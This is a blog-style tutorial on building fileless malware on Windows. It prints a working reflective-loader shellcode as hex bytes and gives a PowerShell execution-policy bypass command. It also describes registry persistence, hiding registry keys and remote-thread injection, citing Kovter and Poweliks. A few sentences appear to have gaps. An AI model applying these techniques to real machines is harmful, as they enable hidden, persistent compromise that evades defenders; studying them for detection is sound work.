Introduction to Fileless Malwares & Implementation
A fileless malware is a malware that doesn't drop any executable on disk. Stealthier than the usual malwares, they have been on the rise with the growth of script languages like PowerShell and WMI scripts.
PowerShell has been available on Windows since Windows 7. You can find an awesome article about PowserShell attack capabilities and detection here : PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection.
During my research, I came across these talks raising awareness about the attack potential of PowerShell and WMI and how they can be abused by fileless malwares :
- PowerPwning : Post-Exploiting By Overpowering PowerShell by @JosephBialek (https://clymb3r.wordpress.com/) at DEFCON 21.
- Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor by Matthew Graeber at BlackHat US 2015 : Whitepaper, Slides.
The idea is to combine those tools :
- Shellcode using Reflective Loader technique (see details below) to perform various actions
- The Windows Registry to store those scripts and some command lines executing them, and achieve persistence by launching scripts on startup
...To create a persistent malware ecosystem that is able to execute code and doesn't require to write any file on disk (except the first dropper, of course). This was made possible mostly by the expansion of PowerShell scripts, based on the .NET framework, that can basically perform everything C# can.
Registry keys can be protected on access using this trick or the one described here to prevent regedit from displaying and deleting the keys, and their content is usually hidden under several layers of encryption and obfuscation like Base64, XOR etc. It makes it difficult to figure out how the malware works and leaves few prints.
Examples of Fileless Malwares
- Kovter, a click-fraud trojan hiding behind multiple layers of scripts : Untangling Kovter’s persistence methods by @Hasherezade for Malwarebytes. Very interesting article showing a lot of tricks.
- Poweliks is another fileless click-fraud trojan using PowerShell : The evolution of the fileless click-fraud malware Poweliks by Symantec.
- Monsoon APT : Monsoon - Analysis of an APT Campaign by ForcePoint (not actually fileless but uses the same method to download files).
- Angler EK that can perform fileless injections
Implementation with PowerShell & ASM
Reflective Shellcode Loader
'Reflective Loader' means that the shellcode has to dynamically get handles to key functions like
GetProcAddress() by going through the export table of a library (here
kernel32.dll) loaded by the host process and locating the functions' address. This allows the shellcode to be position-independent by building its own import table and work when executed in memory. This means we will be able to load a PE (in the form of the shellcode) or a DLL entirely from memory. In this article, we will showcase this method by coding a shellcode that loads a library in the PowerShell process.
kernel32.dll is always loaded by a PE, the shellcode will always be able to locate
GetProcAddress(), which means it can then easily load and locate other librairies and functions the standard way giving us the same capabilities as a PE file or a DLL written on disk would.
I adapted this C code https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c by Stephen Fewer in x86 Assembly.
I uploaded the commented code here : reflective_loadlibrary.asm.
First, we need to get the PEB and go through several data structures to get to the linked list containing the names of the libraries that are loaded by the host process. Then, we hash each name and compare it with the hash of '
kernel32.dll'. Once we located the library in memory, we can read its header until we find the
IMAGE_EXPORT_DIRECTORY structure illustrated below. You can find information about those structures here and here.
IMAGE_EXPORT_DIRECTORYstructure - https://msdn.microsoft.com/en-us/library/ms809762.aspx
We can now locate the
LoadLibraryA() function by iterating through the
AddressOfNameOrdinals fields and compare each name hash with the hash of '
LoadLibraryA'. When we have a match, we use
AddressOfNameOrdinals to figure out at which position in the
AddressOfFunctions array the
LoadLibraryA() address is located.
We end up with the following 230 bytes shellcode :
0x60, 0x83, 0xC4, 0xC0, 0xFC, 0x31, 0xD2, 0x64, 0x8B, 0x52, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 0x14, 0x8B, 0x72, 0x28, 0xB9, 0x18, 0x00, 0x00, 0x00, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0, 0x81, 0xFF, 0x5B, 0xBC, 0x4A, 0x6A, 0x8B, 0x5A, 0x10, 0x89, 0x5D, 0xFC, 0x8B, 0x12, 0x75, 0xD6, 0x8B, 0x4B, 0x3C, 0x01, 0xD9, 0x83, 0xC1, 0x18, 0x83, 0xC1, 0x60, 0x89, 0x4D, 0xF8, 0x8B, 0x09, 0x01, 0xD9, 0x51, 0x83, 0xC1, 0x24, 0x8B, 0x09, 0x01, 0xD9, 0x89, 0x4D, 0xF4, 0x59, 0x51, 0x83, 0xC1, 0x1C, 0x8B, 0x09, 0x01, 0xD9, 0x89, 0x4D, 0xF0, 0x59, 0x83, 0xC1, 0x20, 0x8B, 0x09, 0x01, 0xD9, 0x8B, 0x11, 0x01, 0xDA, 0x89, 0xD6, 0x51, 0xB9, 0x18, 0x00, 0x00, 0x00, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0, 0x81, 0xFF, 0xBA, 0x18, 0x7B, 0x11, 0x59, 0x74, 0x15, 0x83, 0xC1, 0x04, 0x8B, 0x11, 0x03, 0x55, 0xFC, 0x89, 0xD6, 0x8B, 0x55, 0xF4, 0x83, 0xC2, 0x02, 0x89, 0x55, 0xF4, 0xEB, 0xCA, 0x8B, 0x55, 0xF0, 0x03, 0x55, 0xFC, 0x31, 0xC0, 0x8B, 0x4D, 0xF4, 0x66, 0x8B, 0x01, 0xBA, 0x04, 0x00, 0x00, 0x00, 0xF7, 0xE2, 0x8B, 0x55, 0xF0, 0x01, 0xC2, 0x8B, 0x12, 0x03, 0x55, 0xFC, 0xC6, 0x45, 0xE3, 0x00, 0xC6, 0x45, 0xE2, 0x6C, 0xC6, 0x45, 0xE1, 0x6C, 0xC6, 0x45, 0xE0, 0x64, 0xC6, 0x45, 0xDF, 0x2E, 0xC6, 0x45, 0xDE, 0x31, 0x8D, 0x45, 0xDE, 0x50, 0xFF, 0xD2, 0x61
I decided to get a handle to
LoadLibraryA() and load a DLL that displays a MessageBox (
1.dll) to make sure the shellcode worked but the goal is obviously to load other useful DLLs and get the address of
GetProcAddress() so we can then use it to easily call any function we need without having to go through the same finding process everytime.
The shellcode above must be executed in a 32-bit process so make sure to use the 32-bit PowerShell executable located at this path :
PowerShell inject script : inject_loadlibrary.ps1.
The PowerShell script was adapted from the Matthew Graeber version that is also used by Monsoon APT as we can see in the ForcePoint report. Kovter uses a different one decoded by @Hasherezade that can be found here : https://gist.github.com/hasherezade/184b23a2a98831061fc4b18473078542#file-nvwisqng_decoded-ps1. Both work just fine.
You won't be able to run the script right away because of the PowerShell Execution Policy. Fortunately, Windows kindly provides a simple way to bypass it and execute PowerShell scripts :
powershell -noexit -executionpolicy bypass -File script.ps1
rundll32.exe on startup that will decode and execute it... As long as we achieve persistence.
The next step is to modify the PowerShell script and use
CreateRemoteThread() to inject the shellcode in a remote 32-bit process. You can find such a script on clymb3r's blog.
Related links :
- Certificate Bypass: Hiding and Executing Malware from a Digitally Signed Executable by Tom Nipravsky (@DeepInstinctSec) at BlackHat USA 2016 : Talk, Whitepaper. Uses a Reflective PE Loader to execute malicious code in a digitally signed executable
- Doing More with Less: A Study of Fileless Infection Attacks, by Benjamin S. Rivera & Rhena U. Inocencio
- "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking by @enigma0x3
- clymb3r's blog : lots of PowerShell scripts and attacks